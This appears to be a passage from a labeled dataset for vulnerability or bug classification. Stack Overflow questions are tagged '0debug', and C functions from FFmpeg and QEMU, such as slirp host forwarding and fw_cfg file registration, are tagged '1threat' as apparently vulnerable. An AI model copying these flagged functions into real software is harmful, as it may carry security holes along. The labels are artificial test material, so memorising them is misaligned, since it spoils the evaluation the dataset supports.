<mxCell id='y3w0JNk_32n-TRd_Wrkm-67' value='&lt;font style=&quot;font-size: 23px&quot;&gt;&lt;span&gt;R 0&lt;/span&gt;&lt;br&gt;&lt;font style=&quot;font-size: 15px&quot;&gt;0.0%&lt;/font&gt;&lt;/font&gt;&lt;br&gt;' style='rounded=1;whiteSpace=wrap;html=1;strokeWidth=2;fillColor=#4D4D4D;fontSize=15;perimeterSpacing=0;arcSize=50;strokeColor=none;fontColor=#FFFFFF;' parent='y3w0JNk_32n-TRd_Wrkm-73' vertex='1'>
<mxGeometry x='10' y='65' width='180' height='70' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-74' value='' style='group' parent='1' vertex='1' connectable='0'>
<mxGeometry x='270' y='640' width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-70' value='' style='rounded=0;whiteSpace=wrap;html=1;fillColor=#FFFFFF;fontSize=15;strokeWidth=2;verticalAlign=top;fontStyle=1' parent='y3w0JNk_32n-TRd_Wrkm-74' vertex='1'>
<mxGeometry width='200' height='145' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-71' value='Front Office' style='rounded=0;whiteSpace=wrap;html=1;fillColor=none;fontSize=15;strokeWidth=2;verticalAlign=middle;fontStyle=1;strokeColor=none;' parent='y3w0JNk_32n-TRd_Wrkm-74' vertex='1'>
<mxGeometry width='200' height='55' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-72' value='&lt;font style=&quot;font-size: 23px&quot;&gt;&lt;span&gt;R 0&lt;/span&gt;&lt;br&gt;&lt;font style=&quot;font-size: 15px&quot;&gt;0.0%&lt;/font&gt;&lt;/font&gt;&lt;br&gt;' style='rounded=1;whiteSpace=wrap;html=1;strokeWidth=2;fillColor=#4D4D4D;fontSize=15;perimeterSpacing=0;arcSize=50;strokeColor=none;fontColor=#FFFFFF;' parent='y3w0JNk_32n-TRd_Wrkm-74' vertex='1'>
<mxGeometry x='10' y='65' width='180' height='70' as='geometry'/>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-75' value='' style='endArrow=block;html=1;fontSize=15;fontColor=#FFFFFF;strokeWidth=2;endFill=1;edgeStyle=orthogonalEdgeStyle;curved=1;exitX=0;exitY=0.5;exitDx=0;exitDy=0;entryX=1;entryY=0.5;entryDx=0;entryDy=0;' parent='1' source='y3w0JNk_32n-TRd_Wrkm-65' target='y3w0JNk_32n-TRd_Wrkm-70' edge='1'>
<mxGeometry width='50' height='50' relative='1' as='geometry'>
<mxPoint x='760.166666666667' y='722.5' as='sourcePoint'/>
<mxPoint x='720' y='722.5' as='targetPoint'/>
</mxGeometry>
</mxCell>
<mxCell id='y3w0JNk_32n-TRd_Wrkm-76' value='' style='endArrow=block;html=1;fontSize=15;fontColor=#FFFFFF;strokeWidth=2;endFill=1;edgeStyle=orthogonalEdgeStyle;curved=1;entryX=1;entryY=0.5;entryDx=0;entryDy=0;exitX=0;exitY=0.5;exitDx=0;exitDy=0;' parent='1' source='y3w0JNk_32n-TRd_Wrkm-70' target='y3w0JNk_32n-TRd_Wrkm-13' edge='1'>
<mxGeometry width='50' height='50' relative='1' as='geometry'>
<mxPoint x='280' y='284' as='sourcePoint'/>
<mxPoint x='240' y='503' as='targetPoint'/>
</mxGeometry>
</mxCell>
</root>
</mxGraphModel>
`
this.setState({ data: xml })
this.LoadGraph()
}
LoadGraph () {
var container = ReactDOM.findDOMNode(this.refs.divPenaltyGraph)
// Checks if the browser is supported
if (!mxClient.isBrowserSupported()) {
// Displays an error message if the browser is not supported.
mxUtils.error('Browser is not supported!', 200, false)
} else {
// Disables the built-in context menu
mxEvent.disableContextMenu(container)
// Creates the graph inside the given container
var graph = new mxGraph(container)
// Enables rubberband selection
new mxRubberband(graph)
var options = {
attributeNamePrefix: '',
textNodeName: '#text',
ignoreAttributes: false,
ignoreNameSpace: false,
allowBooleanAttributes: false,
parseNodeValue: true,
parseAttributeValue: true,
trimValues: true,
cdataTagName: '__cdata', // default is 'false'
cdataPositionChar: '\\c',
localeRange: '', // To support non english character in tag/attribute values.
parseTrueNumberOnly: false
}
if (parser.validate(this.state.data) === true) { // optional (it'll return an object in case it's not valid)
var jsonObj = parser.parse(this.state.data, options)
}
// Gets the default parent for inserting new cells. This is normally the first
// child of the root (ie. layer 0).
var parent = graph.getDefaultParent()
// Enables tooltips, new connections and panning
graph.setPanning(true)
graph.setTooltips(true)
graph.setConnectable(true)
graph.setEnabled(true)
graph.setEdgeLabelsMovable(false)
graph.setVertexLabelsMovable(false)
graph.setGridEnabled(true)
graph.setAllowDanglingEdges(false)
graph.getModel().beginUpdate()
try {
// mxGrapg component
var doc = mxUtils.createXmlDocument()
var node = doc.createElement('Node')
node.setAttribute('ComponentID', '[P01]')
const items = []
jsonObj.mxGraphModel.root.mxCell.forEach(cell => {
if (cell.value) {
const vertexObj = {}
let vertex = graph.insertVertex(
parent,
cell.id,
cell.value,
cell.mxGeometry.x,
cell.mxGeometry.y,
cell.mxGeometry.width,
cell.mxGeometry.height,
cell.style
)
vertexObj[cell.id] = vertex
items.push(vertexObj)
}
})
const mxCellCount = jsonObj.mxGraphModel.root.mxCell.length
for (let i = 0; i <= mxCellCount; i++) {
const cell = jsonObj.mxGraphModel.root.mxCell[i]
if (!cell.value) {
let sourceObject = items.filter(vertex => {
return Object.keys(vertex) === cell.source
})[0]
let source = sourceObject ? sourceObject[cell['source']] : null
let targetObject = items.filter(vertex => {
return Object.keys(vertex) === cell.target
})[0]
let target = targetObject ? cell['target'] : null
graph.insertEdge(
parent,
null,
'',
source,
target
)
}
}
// data
} finally {
// Updates the display
graph.getModel().endUpdate()
}
// Enables rubberband (marquee) selection and a handler for basic keystrokes
new mxRubberband(graph)
new mxKeyHandler(graph)
}
}
render () {
return (
<div className='graph-container' ref='divPenaltyGraph' id='divPenaltyGraph' />
)
}
}
export default mxGraphGridAreaEditor
</code></pre>
<p>Please Note :- The same XML works on draw.io and I am not able to catch the error in my code so any assistance in this will be appreciated</p>
| 0debug |
i don't understand why it won't let me check contains on switch cases : i was trying to do thi
var stringwithcharactherTofind = "booboo$booboo"
switch stringwithcharactherTofind{
case stringwithcharactherTofind.ifhasprefix("$"):
stringwithcharactherTofind = "done"
default:
break
}
is it possible to do this?
at all
| 0debug |
static av_always_inline int even(uint64_t layout)
{
return (!layout || (layout & (layout - 1)));
}
| 1threat |
How do i fix this output in C? : This is my code
```
#include <stdio.h>
int main() {
float percentage;
int sp;
int bp;
percentage = (sp-bp)/bp*100;
scanf("%d %d", &sp, &bp );
printf("%.2f%%", percentage);
return 0;
}
```
Sample input :
```
150 85
```
Sample output :
```
76.47%
```
but my output is :
```
-100.00%
```
help me fix this, ty <3
im a newbie btw | 0debug |
C program please explain with answer : #include <stdio.h>
struct test
{
unsigned int x;
long int y;
unsigned int z;
};
int main()
{
struct test t;
unsigned int *ptr1 = &t.x;
unsigned int *ptr2 = &t.z;
printf("%d", ptr2 - ptr1);
return 0;
}
So this is the c code in which i'm stuck at so please anyone tell me the answer with the proper explanation.Thank you. | 0debug |
Error when trying to install a module using pip, : I am attempting to download the discord.py module using pip, but I keep getting a syntax error like this ```>>> py -3 -m pip install -U discord.py
File "<stdin>", line 1
py -3 -m pip install -U discord.py
^
SyntaxError: invalid syntax``` I made sure pip was installed and tried downloading the module from the .whl file directly only to receive a syntax error in the same place. | 0debug |
static void platform_ioport_map(PCIDevice *pci_dev, int region_num, pcibus_t addr, pcibus_t size, int type)
{
PCIXenPlatformState *d = DO_UPCAST(PCIXenPlatformState, pci_dev, pci_dev);
register_ioport_write(addr, size, 1, xen_platform_ioport_writeb, d);
register_ioport_read(addr, size, 1, xen_platform_ioport_readb, d);
}
| 1threat |
How are ReSharper C++ and Visual Assist different : <p>What's different between the two? JetBrains lists some differences <a href="https://www.jetbrains.com/resharper-cpp/documentation/resharper_cpp_vs_visual_assist.html" rel="noreferrer">here</a>, but I heard there might be some inaccuracies in the list.</p>
| 0debug |
Decrypt password using bcrypt php : <p>I search how to decrypt a password stored in bcrypt using php, but I don't find a good explaination. Could you please send some useful links ? Thx in advance and sorry for my english</p>
| 0debug |
static int slirp_hostfwd(SlirpState *s, const char *redir_str,
int legacy_format)
{
struct in_addr host_addr = { .s_addr = INADDR_ANY };
struct in_addr guest_addr = { .s_addr = 0 };
int host_port, guest_port;
const char *p;
char buf[256];
int is_udp;
char *end;
p = redir_str;
if (!p || get_str_sep(buf, sizeof(buf), &p, ':') < 0) {
goto fail_syntax;
}
if (!strcmp(buf, "tcp") || buf[0] == '\0') {
is_udp = 0;
} else if (!strcmp(buf, "udp")) {
is_udp = 1;
} else {
goto fail_syntax;
}
if (!legacy_format) {
if (get_str_sep(buf, sizeof(buf), &p, ':') < 0) {
goto fail_syntax;
}
if (buf[0] != '\0' && !inet_aton(buf, &host_addr)) {
goto fail_syntax;
}
}
if (get_str_sep(buf, sizeof(buf), &p, legacy_format ? ':' : '-') < 0) {
goto fail_syntax;
}
host_port = strtol(buf, &end, 0);
if (*end != '\0' || host_port < 0 || host_port > 65535) {
goto fail_syntax;
}
if (get_str_sep(buf, sizeof(buf), &p, ':') < 0) {
goto fail_syntax;
}
if (buf[0] != '\0' && !inet_aton(buf, &guest_addr)) {
goto fail_syntax;
}
guest_port = strtol(p, &end, 0);
if (*end != '\0' || guest_port < 1 || guest_port > 65535) {
goto fail_syntax;
}
if (slirp_add_hostfwd(s->slirp, is_udp, host_addr, host_port, guest_addr,
guest_port) < 0) {
error_report("could not set up host forwarding rule '%s'",
redir_str);
return -1;
}
return 0;
fail_syntax:
error_report("invalid host forwarding rule '%s'", redir_str);
return -1;
}
| 1threat |
python2 code get error when using python3.5 : <pre><code>def finalize_options(self):
if self.cross_compile and os.environ.has_key('PYTHONXCPREFIX'):
prefix = os.environ['PYTHONXCPREFIX']
sysconfig.get_python_lib = get_python_lib
sysconfig.PREFIX = prefix
sysconfig.EXEC_PREFIX = prefix
# reinitialize variables
sysconfig._config_vars = None
sysconfig.get_config_var("LDSHARED")
_build.finalize_options(self)
</code></pre>
<p>the code above that will get the error when run on python3.5.
the error is :
crosscompile.py", line 16, in finalize_options
AttributeError: '_Environ' object has no attribute 'has_key'</p>
<p>does anyone have idea how to modify the code to workable in python3.5?</p>
| 0debug |
How to specify word document path in a excel cell and use it as a email body : Am using a vba coding where i give the word document file path in coding itself to use the word document as email body but instead i wanted to give excel cell reference in coding and provide the word document path in excel and use it as email body.
Thank u in advance!! | 0debug |
static int input_get_buffer(AVCodecContext *codec, AVFrame *pic)
{
AVFilterContext *ctx = codec->opaque;
AVFilterBufferRef *ref;
int perms = AV_PERM_WRITE;
int i, w, h, stride[4];
unsigned edge;
if(av_image_check_size(w, h, 0, codec))
return -1;
if (codec->codec->capabilities & CODEC_CAP_NEG_LINESIZES)
perms |= AV_PERM_NEG_LINESIZES;
if(pic->buffer_hints & FF_BUFFER_HINTS_VALID) {
if(pic->buffer_hints & FF_BUFFER_HINTS_READABLE) perms |= AV_PERM_READ;
if(pic->buffer_hints & FF_BUFFER_HINTS_PRESERVE) perms |= AV_PERM_PRESERVE;
if(pic->buffer_hints & FF_BUFFER_HINTS_REUSABLE) perms |= AV_PERM_REUSE2;
}
if(pic->reference) perms |= AV_PERM_READ | AV_PERM_PRESERVE;
w = codec->width;
h = codec->height;
avcodec_align_dimensions2(codec, &w, &h, stride);
edge = codec->flags & CODEC_FLAG_EMU_EDGE ? 0 : avcodec_get_edge_width();
w += edge << 1;
h += edge << 1;
if(!(ref = avfilter_get_video_buffer(ctx->outputs[0], perms, w, h)))
return -1;
ref->video->w = codec->width;
ref->video->h = codec->height;
for(i = 0; i < 4; i ++) {
unsigned hshift = (i == 1 || i == 2) ? av_pix_fmt_descriptors[ref->format].log2_chroma_w : 0;
unsigned vshift = (i == 1 || i == 2) ? av_pix_fmt_descriptors[ref->format].log2_chroma_h : 0;
if (ref->data[i]) {
ref->data[i] += (edge >> hshift) + ((edge * ref->linesize[i]) >> vshift);
}
pic->data[i] = ref->data[i];
pic->linesize[i] = ref->linesize[i];
}
pic->opaque = ref;
pic->age = INT_MAX;
pic->type = FF_BUFFER_TYPE_USER;
pic->reordered_opaque = codec->reordered_opaque;
if(codec->pkt) pic->pkt_pts = codec->pkt->pts;
else pic->pkt_pts = AV_NOPTS_VALUE;
return 0;
}
| 1threat |
Store string into the txt file ? C++ : I'm creating a program in which user enter mcqs and option and then save the data into the `txt` file.How can i do this .I try but it's not working.
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
int main()
{
ofstream outputFile;
std::string fname;
cout<<"Enter file name";
std::getline (std::cin,fname);
outputFile.open(fname+".txt");
std::string name;
std::string mcqs;
int x;
cout<<"How many questions want \n";
cin>>x;
for(int i=1;i<=x;i=i+1){
cout<"Enter question "+i;
std::getline (std::cin,name);
outputFile << name << endl;
cout<<"Option A";
std::getline (std::cin,mcqs);
outputFile << mcqs << endl;
cout<<"Option B";
std::getline (std::cin,mcqs);
outputFile << mcqs << endl;
cout<<"Option C";
std::getline (std::cin,mcqs);
outputFile << mcqs << endl;
cout<<"Option D";
std::getline (std::cin,mcqs);
outputFile << mcqs << endl;
}
outputFile.close();
cout << "Done!\n";
getchar();
return 0;
}
I want save `mcqs` and option in `txt` file.Thanks | 0debug |
Escaping @ in Blazor : <p>I want to display image from icon library in Blazor component. </p>
<p>The path is:</p>
<p><em>wwwroot/lib/@icon/open-iconic/icons/account-login.svg</em></p>
<p>But <strong>@</strong> is a special character in Blazor.</p>
| 0debug |
void qmp_netdev_del(const char *id, Error **errp)
{
NetClientState *nc;
nc = qemu_find_netdev(id);
if (!nc) {
error_set(errp, QERR_DEVICE_NOT_FOUND, id);
return;
}
qemu_del_net_client(nc);
qemu_opts_del(qemu_opts_find(qemu_find_opts_err("netdev", errp), id));
}
| 1threat |
Keep column and row order when storing pandas dataframe in json : <p>When storing data in a json object with to_json, and reading it back with read_json, rows and columns are returned sorted alphabetically. Is there a way to keep the results ordered or reorder them upon retrieval? </p>
| 0debug |
What is the best way to limit concurrency when using ES6's Promise.all()? : <p>I have some code that is iterating over a list that was queried out of a database and making an HTTP request for each element in that list. That list can sometimes be a reasonably large number (in the thousands), and I would like to make sure I am not hitting a web server with thousands of concurrent HTTP requests.</p>
<p>An abbreviated version of this code currently looks something like this...</p>
<pre><code>function getCounts() {
return users.map(user => {
return new Promise(resolve => {
remoteServer.getCount(user) // makes an HTTP request
.then(() => {
/* snip */
resolve();
});
});
});
}
Promise.all(getCounts()).then(() => { /* snip */});
</code></pre>
<p>This code is running on Node 4.3.2. To reiterate, can <code>Promise.all</code> be managed so that only a certain number of Promises are in progress at any given time?</p>
| 0debug |
static unsigned int dec_addi_acr(DisasContext *dc)
{
TCGv t0;
DIS(fprintf (logfile, "addi.%c $r%u, $r%u, $acr\n",
memsize_char(memsize_zz(dc)), dc->op2, dc->op1));
cris_cc_mask(dc, 0);
t0 = tcg_temp_new(TCG_TYPE_TL);
tcg_gen_shl_tl(t0, cpu_R[dc->op2], tcg_const_tl(dc->zzsize));
tcg_gen_add_tl(cpu_R[R_ACR], cpu_R[dc->op1], t0);
tcg_temp_free(t0);
return 2;
}
| 1threat |
How do I "Use Logger API to add logs to your project"? (Google Script) : <p>I'm trying to see output of a script, but when I go to "View Logs" I get an alert "No logs found. Use Logger API to add logs to your project."</p>
<p>How do I add the Logger API?</p>
<p><a href="https://i.stack.imgur.com/Dcy1A.png" rel="noreferrer"><img src="https://i.stack.imgur.com/Dcy1A.png" alt="enter image description here"></a></p>
| 0debug |
GoLang: async http request handling : I'm try to handle an HTTP request in GoLang, asynchronously this way:
1. I pass a handler function to the HTTP server
2. In the handler I store the HttpRequest / HttpResponse objects in a slice or a map
3. When returning from the handler function - the response is NOT returned to the client, but the connection remains open
4. When "some" async input received from another source, I take the relevant HttpRequest / HttpResponse objects from memory, write the response and close the connection.
What I aim for is very similar to Jetty-Continuation in Java.
How can I implement such a behaviour in GoLang?
Thanks | 0debug |
int fw_cfg_add_file(FWCfgState *s, const char *dir, const char *filename,
uint8_t *data, uint32_t len)
{
const char *basename;
int index;
if (!s->files) {
int dsize = sizeof(uint32_t) + sizeof(FWCfgFile) * FW_CFG_FILE_SLOTS;
s->files = qemu_mallocz(dsize);
fw_cfg_add_bytes(s, FW_CFG_FILE_DIR, (uint8_t*)s->files, dsize);
}
index = be32_to_cpu(s->files->count);
if (index == FW_CFG_FILE_SLOTS) {
fprintf(stderr, "fw_cfg: out of file slots\n");
return 0;
}
fw_cfg_add_bytes(s, FW_CFG_FILE_FIRST + index, data, len);
basename = strrchr(filename, '/');
if (basename) {
basename++;
} else {
basename = filename;
}
if (dir) {
snprintf(s->files->f[index].name, sizeof(s->files->f[index].name),
"%s/%s", dir, basename);
} else {
snprintf(s->files->f[index].name, sizeof(s->files->f[index].name),
"%s", basename);
}
s->files->f[index].size = cpu_to_be32(len);
s->files->f[index].select = cpu_to_be16(FW_CFG_FILE_FIRST + index);
FW_CFG_DPRINTF("%s: #%d: %s (%d bytes)\n", __FUNCTION__,
index, s->files->f[index].name, len);
s->files->count = cpu_to_be32(index+1);
return 1;
}
| 1threat |
Poulating UITableView to show the newest data on top : I have a standard UITableView but I would like to rearrange how the tableView is populated. I would like this:
**Third Item Added**
**Second Item Added**
**First Item Added**
So the first data that is added in the tableView will be furthest down and the last data added on top. (Now the order is the other way around, last added furthest down). Thank you for any help!
| 0debug |
static void predictor_decompress_fir_adapt(int32_t *error_buffer,
int32_t *buffer_out,
int output_size,
int readsamplesize,
int16_t *predictor_coef_table,
int predictor_coef_num,
int predictor_quantitization)
{
int i;
*buffer_out = *error_buffer;
if (!predictor_coef_num) {
if (output_size <= 1)
return;
memcpy(&buffer_out[1], &error_buffer[1],
(output_size - 1) * sizeof(*buffer_out));
return;
}
if (predictor_coef_num == 31) {
if (output_size <= 1)
return;
for (i = 1; i < output_size; i++) {
buffer_out[i] = sign_extend(buffer_out[i - 1] + error_buffer[i],
readsamplesize);
}
return;
}
for (i = 0; i < predictor_coef_num; i++) {
buffer_out[i + 1] = sign_extend(buffer_out[i] + error_buffer[i + 1],
readsamplesize);
}
for (i = predictor_coef_num; i < output_size - 1; i++) {
int j;
int val = 0;
int error_val = error_buffer[i + 1];
int error_sign;
int d = buffer_out[i - predictor_coef_num];
for (j = 0; j < predictor_coef_num; j++) {
val += (buffer_out[i - j] - d) *
predictor_coef_table[j];
}
val = (val + (1 << (predictor_quantitization - 1))) >>
predictor_quantitization;
val += d + error_val;
buffer_out[i + 1] = sign_extend(val, readsamplesize);
error_sign = sign_only(error_val);
if (error_sign) {
for (j = predictor_coef_num - 1; j >= 0 && error_val * error_sign > 0; j--) {
int sign;
val = d - buffer_out[i - j];
sign = sign_only(val) * error_sign;
predictor_coef_table[j] -= sign;
val *= sign;
error_val -= ((val >> predictor_quantitization) *
(predictor_coef_num - j));
}
}
}
}
| 1threat |
static uint32_t isa_mmio_readw(void *opaque, target_phys_addr_t addr)
{
return cpu_inw(addr & IOPORTS_MASK);
}
| 1threat |
static inline int ff_mpeg4_pred_dc(MpegEncContext * s, int n, int level, int *dir_ptr, int encoding)
{
int a, b, c, wrap, pred, scale, ret;
int16_t *dc_val;
if (n < 4) {
scale = s->y_dc_scale;
} else {
scale = s->c_dc_scale;
}
if(IS_3IV1)
scale= 8;
wrap= s->block_wrap[n];
dc_val = s->dc_val[0] + s->block_index[n];
a = dc_val[ - 1];
b = dc_val[ - 1 - wrap];
c = dc_val[ - wrap];
if(s->first_slice_line && n!=3){
if(n!=2) b=c= 1024;
if(n!=1 && s->mb_x == s->resync_mb_x) b=a= 1024;
}
if(s->mb_x == s->resync_mb_x && s->mb_y == s->resync_mb_y+1){
if(n==0 || n==4 || n==5)
b=1024;
}
if (abs(a - b) < abs(b - c)) {
pred = c;
*dir_ptr = 1;
} else {
pred = a;
*dir_ptr = 0;
}
pred = FASTDIV((pred + (scale >> 1)), scale);
if(encoding){
ret = level - pred;
}else{
level += pred;
ret= level;
if(s->error_recognition>=3){
if(level<0){
av_log(s->avctx, AV_LOG_ERROR, "dc<0 at %dx%d\n", s->mb_x, s->mb_y);
return -1;
}
if(level*scale > 2048 + scale){
av_log(s->avctx, AV_LOG_ERROR, "dc overflow at %dx%d\n", s->mb_x, s->mb_y);
return -1;
}
}
}
level *=scale;
if(level&(~2047)){
if(level<0)
level=0;
else if(!(s->workaround_bugs&FF_BUG_DC_CLIP))
level=2047;
}
dc_val[0]= level;
return ret;
}
| 1threat |
how to fix [-Wreturn-type] error in mac OS : I have program a scheduler of one compiler when I run in OS Debian 9 all ok, but I trying to run in my computer who is mac OS then show lot of warnings and this error:
```c
error: non-void function 'CloseForLoops' should return a value [-Wreturn-type] return;
```
grateful! | 0debug |
Add shadows on tableviewcell while reordering : <p>How do I add the same shadow effect on the left and right sides of the selected cell when reordering? </p>
<p><a href="https://i.stack.imgur.com/5YjbL.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/5YjbL.png" alt="enter image description here"></a></p>
| 0debug |
Once the button has been pressed, stop again.(Button not active/deactive) : <p><em>Once the button has been pressed, stop again.
Namely;
Once you have clicked on the button, click on how many clicks do not take action. The button must always be active</em> </p>
| 0debug |
how to connect raspbian strech over SSH : <p>I just upgraded the ssd card to 2018-11-13-raspbian-stretch-lite. Hence, no screen, no keyboard, just headless. With the version before I used SSH to acess the raspberrypi 3. But now i have trouble. SSH is disabled by default. Could be overcome by writing an empty file named ssh into / . Fine, should be easy, but it isn't. I tried to mount the ssd-card in a card reader from a linux computer. This would allow to write the required empty file with cat /dev/null > /mnt/rasp/ssh , but it doesn't work, because the device is mounted read only indepent of how I try to mount for read-write!
Has anybody an Idea how to open the ssh, maybe over USB-Telnet, or what ever?</p>
| 0debug |
static void new_video_stream(AVFormatContext *oc, int file_idx)
{
AVStream *st;
OutputStream *ost;
AVCodecContext *video_enc;
enum CodecID codec_id = CODEC_ID_NONE;
AVCodec *codec= NULL;
if(!video_stream_copy){
if (video_codec_name) {
codec_id = find_codec_or_die(video_codec_name, AVMEDIA_TYPE_VIDEO, 1,
avcodec_opts[AVMEDIA_TYPE_VIDEO]->strict_std_compliance);
codec = avcodec_find_encoder_by_name(video_codec_name);
} else {
codec_id = av_guess_codec(oc->oformat, NULL, oc->filename, NULL, AVMEDIA_TYPE_VIDEO);
codec = avcodec_find_encoder(codec_id);
}
}
ost = new_output_stream(oc, file_idx, codec);
st = ost->st;
if (!video_stream_copy) {
ost->frame_aspect_ratio = frame_aspect_ratio;
frame_aspect_ratio = 0;
#if CONFIG_AVFILTER
ost->avfilter= vfilters;
vfilters = NULL;
#endif
}
ost->bitstream_filters = video_bitstream_filters;
video_bitstream_filters= NULL;
st->codec->thread_count= thread_count;
video_enc = st->codec;
if(video_codec_tag)
video_enc->codec_tag= video_codec_tag;
if(oc->oformat->flags & AVFMT_GLOBALHEADER) {
video_enc->flags |= CODEC_FLAG_GLOBAL_HEADER;
}
if (video_stream_copy) {
st->stream_copy = 1;
video_enc->codec_type = AVMEDIA_TYPE_VIDEO;
video_enc->sample_aspect_ratio =
st->sample_aspect_ratio = av_d2q(frame_aspect_ratio*frame_height/frame_width, 255);
} else {
const char *p;
int i;
if (frame_rate.num)
ost->frame_rate = frame_rate;
video_enc->codec_id = codec_id;
set_context_opts(video_enc, avcodec_opts[AVMEDIA_TYPE_VIDEO], AV_OPT_FLAG_VIDEO_PARAM | AV_OPT_FLAG_ENCODING_PARAM, codec);
video_enc->width = frame_width;
video_enc->height = frame_height;
video_enc->pix_fmt = frame_pix_fmt;
st->sample_aspect_ratio = video_enc->sample_aspect_ratio;
if (intra_only)
video_enc->gop_size = 0;
if (video_qscale || same_quality) {
video_enc->flags |= CODEC_FLAG_QSCALE;
video_enc->global_quality = FF_QP2LAMBDA * video_qscale;
}
if(intra_matrix)
video_enc->intra_matrix = intra_matrix;
if(inter_matrix)
video_enc->inter_matrix = inter_matrix;
p= video_rc_override_string;
for(i=0; p; i++){
int start, end, q;
int e=sscanf(p, "%d,%d,%d", &start, &end, &q);
if(e!=3){
fprintf(stderr, "error parsing rc_override\n");
ffmpeg_exit(1);
}
video_enc->rc_override=
av_realloc(video_enc->rc_override,
sizeof(RcOverride)*(i+1));
video_enc->rc_override[i].start_frame= start;
video_enc->rc_override[i].end_frame = end;
if(q>0){
video_enc->rc_override[i].qscale= q;
video_enc->rc_override[i].quality_factor= 1.0;
}
else{
video_enc->rc_override[i].qscale= 0;
video_enc->rc_override[i].quality_factor= -q/100.0;
}
p= strchr(p, '/');
if(p) p++;
}
video_enc->rc_override_count=i;
if (!video_enc->rc_initial_buffer_occupancy)
video_enc->rc_initial_buffer_occupancy = video_enc->rc_buffer_size*3/4;
video_enc->me_threshold= me_threshold;
video_enc->intra_dc_precision= intra_dc_precision - 8;
if (do_psnr)
video_enc->flags|= CODEC_FLAG_PSNR;
if (do_pass) {
if (do_pass == 1) {
video_enc->flags |= CODEC_FLAG_PASS1;
} else {
video_enc->flags |= CODEC_FLAG_PASS2;
}
}
if (forced_key_frames)
parse_forced_key_frames(forced_key_frames, ost, video_enc);
}
if (video_language) {
av_dict_set(&st->metadata, "language", video_language, 0);
av_freep(&video_language);
}
video_disable = 0;
av_freep(&video_codec_name);
av_freep(&forced_key_frames);
video_stream_copy = 0;
frame_pix_fmt = PIX_FMT_NONE;
}
| 1threat |
C++ Class template deduction (P0091R0) for function arguments : <p>In C++17 we can do somthing like</p>
<pre><code>std::pair p = {1,3}; // compiler deduces template parameters to pair<int,int>
</code></pre>
<p>From the documentation at <a href="http://en.cppreference.com/w/cpp/language/class_template_deduction" rel="nofollow noreferrer">cppreference</a> I understand that the following will NOT work:</p>
<pre><code>template<class T1, class T2>
void bar(std::pair<T1,T2>)
{}
void foo()
{
bar({1,3}); // No deduction of pair template arguments
}
</code></pre>
<p>Can anyone confirm this and give some insight, why this won't work? Technically this should work, right? Has there been any discussion to make this work, or is it kind of an oversight?</p>
| 0debug |
Why is it not detecting a capital letter in php : <p>this is someone else's code and seems to work for everyone online but me.
It doesn't seem to detect the capital letters even though i have dedicated code for it. </p>
<p>Could someone spot the error in my code:</p>
<pre><code><?php
if($_POST['submit']){
if(!$_POST['email']) $error.="<br />Please enter your email";
else if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) $error.="<br />Please enter a valid mail";
if(!$_POST['password']) $error.="<br />Please enter your password";
else {
if(strlen($_POST['password'])<8) $error.="<br />Please enter a password with atleast 8 characters";
if(!preg_match('/[A-Z]/', $_post['password'])) $error.="<br />Please enter atleast one capital letter";
}
if($error) echo "There were error(s) in your details:".$error;
}
?>
<form method="post">
<input type="email" name="email" id="email" />
<input type="password" name="password" />
<input type="submit" name="submit" value="signup" />
</form>
</code></pre>
<p>Here is the link to it: </p>
<p><a href="http://hassannasir.co.uk/mysql/" rel="nofollow">http://hassannasir.co.uk/mysql/</a></p>
| 0debug |
static void mtree_print_flatview(fprintf_function p, void *f,
AddressSpace *as)
{
FlatView *view = address_space_get_flatview(as);
FlatRange *range = &view->ranges[0];
MemoryRegion *mr;
int n = view->nr;
if (n <= 0) {
p(f, MTREE_INDENT "No rendered FlatView for "
"address space '%s'\n", as->name);
flatview_unref(view);
return;
}
while (n--) {
mr = range->mr;
p(f, MTREE_INDENT TARGET_FMT_plx "-"
TARGET_FMT_plx " (prio %d, %s): %s\n",
int128_get64(range->addr.start),
int128_get64(range->addr.start) + MR_SIZE(range->addr.size),
mr->priority,
memory_region_type(mr),
memory_region_name(mr));
range++;
}
flatview_unref(view);
}
| 1threat |
Angular : Service Injection vs Typescript Static Methods : <p>This might be a beginners question, the question is related to understanding why do we need injecting the services into components.</p>
<p><strong>1] Why do we need to inject the service to each component when we could just create a static method and it will return the same output and we're really not going to need to keep writing extra code for injecting these services?</strong></p>
<p>Let's say I have an authentication service like the one below with the normal convention:</p>
<pre><code>import { Injectable } from '@angular/core';
import { Http, Response, Headers } from '@angular/http';
import { Observable } from 'rxjs/Rx';
import 'rxjs/add/operator/map';
import { GlobalConfig } from "../global-config";
// Models
import { UserModel } from "../models/user-model";
@Injectable()
export class AuthenticationService {
constructor(private http: Http) { }
authenticate(user: UserModel): Observable<UserModel> {
let userObject = this.http.post(GlobalConfig.getUrlFor('authentication'), user)
.map((response: Response) => {
let responseJSON = response.json();
let userObj = <UserModel>{
UserId: responseJSON.UserId,
FirstName: responseJSON.FirstName,
LastName: responseJSON.LastName,
FullName: responseJSON.FullName,
Email: responseJSON.Email,
UserName: responseJSON.UserName,
Password: responseJSON.Password
};
return userObj;
});
return userObject;
}
}
</code></pre>
<p>And in the view model, i would use it like that :</p>
<p>First: Inject the service </p>
<pre><code>constructor(private authService: AuthenticationService) {}
</code></pre>
<p>Second: Call it</p>
<pre><code>login() {
this.authService.authenticate(this.user)
.subscribe(
p => {
GlobalConfig.baseUser = p;
localStorage.setItem('user', JSON.stringify(p));
this.router.navigate(['/dashboard']);
},
e => {console.log('Error has Occured:', e); }
);
}
</code></pre>
<p><strong>But If I in the first place made that authenticate method in the authentication service Static all I would have done is the following:</strong></p>
<pre><code>login() {
AuthenticationService.authenticate(this.user)
.subscribe(
p => {
GlobalConfig.baseUser = p;
localStorage.setItem('user', JSON.stringify(p));
this.router.navigate(['/dashboard']);
},
e => {console.log('Error has Occured:', e); }
);
}
</code></pre>
<p><strong>And I wouldn't have needed to inject it or write in extra necessary work.</strong></p>
<p>I know Service injection is the known good practice but I really don't understand why. Appreciate if someone would explain more to me.</p>
| 0debug |
pipenv specify minimum version of python in pipfile? : <p>Is there a way in pipenv to specify the minimum version of python in the Pipfile?</p>
